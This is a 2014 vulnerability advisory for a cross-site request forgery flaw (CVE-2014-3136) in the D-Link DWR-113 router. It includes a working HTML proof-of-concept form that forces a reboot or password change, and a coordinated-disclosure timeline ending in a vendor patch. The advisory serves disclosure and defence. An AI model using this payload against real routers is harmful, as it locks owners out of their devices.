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D-Link DWR-113 Cross Site Request Forgery

Posted on 31 July 2014

Exploit Title: Dlink DWR-113 Rev. Ax - CSRF causing Denial of Service Google dork : N/A Exploit Author: Blessen Thomas Date : 29/07/14 Vendor Homepage : http://www.dlink.com/ Software Link : N/A Firmware version: v2.02 2013-03-13 Tested on : Windows 7 CVE : CVE-2014-3136 Type of Application : Web application Release mode : Coordinated disclosure Vulnerability description: It was observed that the D-link DWR-113 wireless router is vulnerable to denial of service attack via CSRF(Cross-Site Request Forgery) vulnerability. An attacker could craft a malicious CSRF exploit to change the password in the password functionality when the user(admin) is logged in to the application ,as the user interface (admin panel) lacks the csrf token or nonce to prevent an attacker to change the password. As a result, as soon as the crafted malicious exploit is executed the router is rebooted and the user could not login thus forcing to reset the router’s device physically ,leading to a denial of service condition. POC code (exploit) : *Restart Router by CSRF* <html> <!-- CSRF PoC ---> <body> <form action="http://192.168.0.1/rebo.htm"> <input type="hidden" name="S00010002" value="test" /> <input type="hidden" name="np2" value="test" /> <input type="hidden" name="N00150004" value="0" /> <input type="hidden" name="N00150001" value="" /> <input type="hidden" name="N00150003" value="1080" /> <input type="hidden" name="_cce" value="0x80150002" /> <input type="hidden" name="_sce" value="%Ssc" /> <input type="submit" value="Submit request" /> </form> </body> </html> Tools used : Mozilla firefox browser v28.0 , Burp proxy free edition v1.5 Timeline : 06-04-14 : Contacted Vendor with details of Vulnerability and Exploit. 06-04-14 : Vendor D-Link forwards to R&D team for review 29-04-14 : Vendor contacted to know the status. 01-05-14 : Vendor acknowledged and released a patch 01-05-14 : CVE ID provided by Mitre team. http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10034

 

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